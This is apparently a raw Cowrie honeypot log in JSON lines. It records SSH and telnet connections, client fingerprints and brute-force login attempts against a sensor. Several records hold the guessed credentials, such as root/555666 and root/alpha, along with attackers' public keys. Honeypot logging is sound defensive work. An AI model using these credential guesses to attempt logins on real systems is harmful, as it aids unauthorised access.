strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:00.799775Z","src_ip":"141.11.21.145","session":"212342e55536","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ascend","password":"ascend","message":"login attempt [ascend/ascend] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:01.050086Z","src_ip":"141.11.21.145","session":"212342e55536","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:02.142728Z","src_ip":"141.11.21.145","session":"212342e55536","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":42408,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0f3a981f78e","protocol":"ssh","message":"New connection: 103.82.132.16:42408 (10.17.0.5:22) [session: a0f3a981f78e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:02.990859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:02.995749Z","src_ip":"103.82.132.16","session":"a0f3a981f78e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:03.266071Z","src_ip":"103.82.132.16","session":"a0f3a981f78e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"555666","message":"login attempt [root/555666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:04.042271Z","src_ip":"103.82.132.16","session":"a0f3a981f78e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:05.306875Z","src_ip":"103.82.132.16","session":"a0f3a981f78e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.228.112.254","src_port":50908,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b8e21381049","protocol":"ssh","message":"New connection: 43.228.112.254:50908 (10.17.0.5:22) [session: 1b8e21381049]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:06.232181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:06.236787Z","src_ip":"43.228.112.254","session":"1b8e21381049","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:06.463372Z","src_ip":"43.228.112.254","session":"1b8e21381049","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alpha","message":"login attempt [root/alpha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:07.398848Z","src_ip":"43.228.112.254","session":"1b8e21381049","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:08.646986Z","src_ip":"43.228.112.254","session":"1b8e21381049","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.065099000930786,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:15.548413Z","src_ip":"192.119.13.58","session":"ae84d745d2b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.11944341659546,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:31.605705Z","src_ip":"186.195.16.41","session":"e7e64abb0469","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.57.37","src_port":48088,"dst_ip":"10.17.0.5","dst_port":22,"session":"a801bd18a617","protocol":"ssh","message":"New connection: 43.130.57.37:48088 (10.17.0.5:22) [session: a801bd18a617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:34.350292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:34.355429Z","src_ip":"43.130.57.37","session":"a801bd18a617","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:34.424623Z","src_ip":"43.130.57.37","session":"a801bd18a617","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tricia","message":"login attempt [root/tricia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:34.735231Z","src_ip":"43.130.57.37","session":"a801bd18a617","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:35.815440Z","src_ip":"43.130.57.37","session":"a801bd18a617","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.194.10.248","src_port":42462,"dst_ip":"10.17.0.5","dst_port":22,"session":"480c4fe62f80","protocol":"ssh","message":"New connection: 104.194.10.248:42462 (10.17.0.5:22) [session: 480c4fe62f80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:36.365056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:36.370503Z","src_ip":"104.194.10.248","session":"480c4fe62f80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:36.377832Z","src_ip":"104.194.10.248","session":"480c4fe62f80","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fe:34:f6:71:f0:f5:68:bf:53:9b:e0:23:7f:81:b7:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDwtD5COdIz+3ZTc67c/LCUgesbqNecRSoYcieHcgTOCLBCgSjGdO8f11gDDhdJVms23v033zov8kyaQLyEj2w0LFKzEA7brRrQBVWe/GM2J4npv/P7nyOG3iij7fURIHjBZs579eWUARgwubms5OT0x/EsJUbFxn3wFBDnScigkdj8ZvRe5ByxNW2sY+qlaC+SMPWGcH+WbMjGrfYSJM2Wc+7NyHq8gc10GxVxEq/hEm7G75My9Gz7XQEzFM5kiKsrOrNfwcB1p/AmZlDBbFPIhrjaRu67GSvB3wXIT9bhVN7lACt48G1r/8u+2QriMLZjUFkWBuXwRd6uMquXiXzx76GrX8Q6IDxNTS7GP5FksOsq8eO45VGEFTNqafkNHcsOg2nRClGdvbqctvg7IfG1UWdhz+SxNHEJQ2bp/sXasmx3wdTuHT3luAKjqNbHchqf+37n8m/JB7yeqVt+pFR6qppwcS4sbRXYAlZG9UrdFqAtYVA5f7pAlBPmUEQUjvZWLSrgll41vuKmR3cmP7A67+G+aQOOk3HLM3qsz8Paj5nAnCGhI0d1kWgQRA0IGi5g3MLeINlWclG7McxWiegu5DIiLcSemkPIL0e7D1vQQemOKCSF3Pd5TY1THog5VRkaZpbeGofBnCpIKdTsMu2uxxSUFgCME4JO5Z3cRaChBw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fe:34:f6:71:f0:f5:68:bf:53:9b:e0:23:7f:81:b7:0c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:36.396239Z","src_ip":"104.194.10.248","session":"480c4fe62f80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fe:34:f6:71:f0:f5:68:bf:53:9b:e0:23:7f:81:b7:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDwtD5COdIz+3ZTc67c/LCUgesbqNecRSoYcieHcgTOCLBCgSjGdO8f11gDDhdJVms23v033zov8kyaQLyEj2w0LFKzEA7brRrQBVWe/GM2J4npv/P7nyOG3iij7fURIHjBZs579eWUARgwubms5OT0x/EsJUbFxn3wFBDnScigkdj8ZvRe5ByxNW2sY+qlaC+SMPWGcH+WbMjGrfYSJM2Wc+7NyHq8gc10GxVxEq/hEm7G75My9Gz7XQEzFM5kiKsrOrNfwcB1p/AmZlDBbFPIhrjaRu67GSvB3wXIT9bhVN7lACt48G1r/8u+2QriMLZjUFkWBuXwRd6uMquXiXzx76GrX8Q6IDxNTS7GP5FksOsq8eO45VGEFTNqafkNHcsOg2nRClGdvbqctvg7IfG1UWdhz+SxNHEJQ2bp/sXasmx3wdTuHT3luAKjqNbHchqf+37n8m/JB7yeqVt+pFR6qppwcS4sbRXYAlZG9UrdFqAtYVA5f7pAlBPmUEQUjvZWLSrgll41vuKmR3cmP7A67+G+aQOOk3HLM3qsz8Paj5nAnCGhI0d1kWgQRA0IGi5g3MLeINlWclG7McxWiegu5DIiLcSemkPIL0e7D1vQQemOKCSF3Pd5TY1THog5VRkaZpbeGofBnCpIKdTsMu2uxxSUFgCME4JO5Z3cRaChBw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:36.400244Z","src_ip":"104.194.10.248","session":"480c4fe62f80","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:63:01:4a:42:0b:d0:b4:c8:61:46:75:21:ec:89:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAB+wC7I7sXhhI9rhtZCQLkru/Wx3KfTyLw4JiAxd9qPXCmmA19fY0bkLFzNZHkr/DZ+sGIftZTyQTPaoBwBXkhkIz5bp+lDeh9yn5cqdtI2u17ElsrnDKBkoT4Cn9QjfZ6vWjBI5KoOXhDkKrBEhSG3Nbuh1KDD8jdfOpS1DNNSxgigG6u51J6a0gGCSsN0adatya7y+uX+S2HxiXT8ZscIC+1Y3rwfMftPSDm04+bNNzHyFlHx7q6smQrA7gLX/j6FSTs1OmDlbtwEn9nTmNeEs0UZQfz0uFqBecRPw/zOtUgUbrUcJuAZ6Ri38NiMJ7vx4JzJJzjZF+lCRKkNq4iXd0MsJI0E0udVSPrKBgADUSj/keihsAVBTKUyrUZ3Z2FdK1+gW1kviCwMWGjGaxc4sRkZf0SL51Dq1301wzQMo121J1M1/WjkSZ2LufjLDSsZnmVYuvBgyYc35gwvl/v2hG7lD1CAvafX9Za2QQ7riGadBd2PRtmdo3f/fgBi9ME+AQMrG6uol4SnkW3kXWQOzxG+7vdRLr8NK7JHWwG1bUiasnkCRr8bypl4h7lswwjdEnKU88NEkAuR2Y7B5YcpJNxNIydqa1v5Z2cjNR0AJqpAWOGCJA9NHF5pEYs2yNDfBmFjnrAzrv/nwQ8mW/k8vDnoVAzFv9CGQZpWQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f2:63:01:4a:42:0b:d0:b4:c8:61:46:75:21:ec:89:e1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:36.408607Z","src_ip":"104.194.10.248","session":"480c4fe62f80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:63:01:4a:42:0b:d0:b4:c8:61:46:75:21:ec:89:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAB+wC7I7sXhhI9rhtZCQLkru/Wx3KfTyLw4JiAxd9qPXCmmA19fY0bkLFzNZHkr/DZ+sGIftZTyQTPaoBwBXkhkIz5bp+lDeh9yn5cqdtI2u17ElsrnDKBkoT4Cn9QjfZ6vWjBI5KoOXhDkKrBEhSG3Nbuh1KDD8jdfOpS1DNNSxgigG6u51J6a0gGCSsN0adatya7y+uX+S2HxiXT8ZscIC+1Y3rwfMftPSDm04+bNNzHyFlHx7q6smQrA7gLX/j6FSTs1OmDlbtwEn9nTmNeEs0UZQfz0uFqBecRPw/zOtUgUbrUcJuAZ6Ri38NiMJ7vx4JzJJzjZF+lCRKkNq4iXd0MsJI0E0udVSPrKBgADUSj/keihsAVBTKUyrUZ3Z2FdK1+gW1kviCwMWGjGaxc4sRkZf0SL51Dq1301wzQMo121J1M1/WjkSZ2LufjLDSsZnmVYuvBgyYc35gwvl/v2hG7lD1CAvafX9Za2QQ7riGadBd2PRtmdo3f/fgBi9ME+AQMrG6uol4SnkW3kXWQOzxG+7vdRLr8NK7JHWwG1bUiasnkCRr8bypl4h7lswwjdEnKU88NEkAuR2Y7B5YcpJNxNIydqa1v5Z2cjNR0AJqpAWOGCJA9NHF5pEYs2yNDfBmFjnrAzrv/nwQ8mW/k8vDnoVAzFv9CGQZpWQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:36.414812Z","src_ip":"104.194.10.248","session":"480c4fe62f80","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e2:e4:87:b5:17:0f:d1:ae:e9:23:8f:3b:21:4f:af:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeXnv40g3d6ljLZbhBdN46PGJmdIzn9NsDM0LZoRwflYFTf7Pg0PXZXPdXFDFRiyJ/sT0NGaCvQaX2ov3mxEeBA7sBV5Wl6wEGO0Fd3TdRO7zI9/TG8m06RuvEzDfhL2wMye5uy4tVfIuY9RfNpmllf4d5PzhR4oAtgv7Lrjv2PnlKkuvltc4Sze0kbf5m5f0PUfArEk9MRX5Um1nFMmmEFbG8Wq/5lxD96zND8UA+73cNdC1kHCiz9V2PYMdrzshkaStQNXNyRf5ZnQ9UAauVeHUH/BX4LELFIVS+3UWAI9Z/sg13WGfs3KIEWS+fvd+doBw9Ee7+avcCpkSVTOqD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e2:e4:87:b5:17:0f:d1:ae:e9:23:8f:3b:21:4f:af:55","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:36.423615Z","src_ip":"104.194.10.248","session":"480c4fe62f80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e2:e4:87:b5:17:0f:d1:ae:e9:23:8f:3b:21:4f:af:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeXnv40g3d6ljLZbhBdN46PGJmdIzn9NsDM0LZoRwflYFTf7Pg0PXZXPdXFDFRiyJ/sT0NGaCvQaX2ov3mxEeBA7sBV5Wl6wEGO0Fd3TdRO7zI9/TG8m06RuvEzDfhL2wMye5uy4tVfIuY9RfNpmllf4d5PzhR4oAtgv7Lrjv2PnlKkuvltc4Sze0kbf5m5f0PUfArEk9MRX5Um1nFMmmEFbG8Wq/5lxD96zND8UA+73cNdC1kHCiz9V2PYMdrzshkaStQNXNyRf5ZnQ9UAauVeHUH/BX4LELFIVS+3UWAI9Z/sg13WGfs3KIEWS+fvd+doBw9Ee7+avcCpkSVTOqD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:36.427348Z","src_ip":"104.194.10.248","session":"480c4fe62f80","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c4:64:79:16:7e:bc:f7:aa:28:91:ae:5f:83:db:05:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZT37+sLF7el/H4WJJzIa6ft5jrHwUgu9BRX6VthYgBUl6sZwW+QJ3vSbQ/p416My4IiI/jZTdFCnjJ//FYfRBis0/tMjG+SG6A88mI+gj2B3SxJ+6NUkiB6TMBTkB9z7ozVBrkJTibQs6IjCnLMqtHPj/Cqr1G/OXPgmT2+uuxcgvsmozPJFZiOrRaUAaUxfvM6OfmrEehE+OJ7MptoA1Q+lA/OcJA+kIZhTWR4HJkTAnKeH30tux4P5JUUpcXUcXh96A8fcbqRcS27OPW6WEVgQg77bvcGN4BOgno4yoogkHFzBaxsZW8Od0GnUmrjSFmV49dgVE7CYsUeEpQrwb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c4:64:79:16:7e:bc:f7:aa:28:91:ae:5f:83:db:05:b8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:36.437918Z","src_ip":"104.194.10.248","session":"480c4fe62f80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c4:64:79:16:7e:bc:f7:aa:28:91:ae:5f:83:db:05:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZT37+sLF7el/H4WJJzIa6ft5jrHwUgu9BRX6VthYgBUl6sZwW+QJ3vSbQ/p416My4IiI/jZTdFCnjJ//FYfRBis0/tMjG+SG6A88mI+gj2B3SxJ+6NUkiB6TMBTkB9z7ozVBrkJTibQs6IjCnLMqtHPj/Cqr1G/OXPgmT2+uuxcgvsmozPJFZiOrRaUAaUxfvM6OfmrEehE+OJ7MptoA1Q+lA/OcJA+kIZhTWR4HJkTAnKeH30tux4P5JUUpcXUcXh96A8fcbqRcS27OPW6WEVgQg77bvcGN4BOgno4yoogkHFzBaxsZW8Od0GnUmrjSFmV49dgVE7CYsUeEpQrwb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:36.441792Z","src_ip":"104.194.10.248","session":"480c4fe62f80","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c7:11:ca:7c:08:c5:46:30:13:66:8e:3b:58:54:51:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLeIw9/wduSuay60gL6au1FQLwGY+ScVOlMJ7y7+2HP19Cl+jtXhg74g8xT+Rvkshuf+0ltzk4C4s7op/kRuFy8rXebgNM2J0NquRYyOwp5HwSRB+FDiz5UA//8iXlrsXRLJBgQi/0Nq/I0md1IL4rtT+AGtWcuKyUEN17q7DYrTg35tGZYFwxf/5Fyl6xeL2R/NTtVYeSW+EYFTjhZauWm+Pygd6DAArknG0stPlZbcnAvPaNsJEmSBOYWsWuI+dTIuR8haVJ+JYBOjwWwSWx8lWcURJTjbTLP/r5ZpSUnL6b1tmeSFa5hfqqF1Y2uQMnN8+03oM2y5cC5l9niHUz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c7:11:ca:7c:08:c5:46:30:13:66:8e:3b:58:54:51:2e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:36.450541Z","src_ip":"104.194.10.248","session":"480c4fe62f80","protocol":"ssh"}
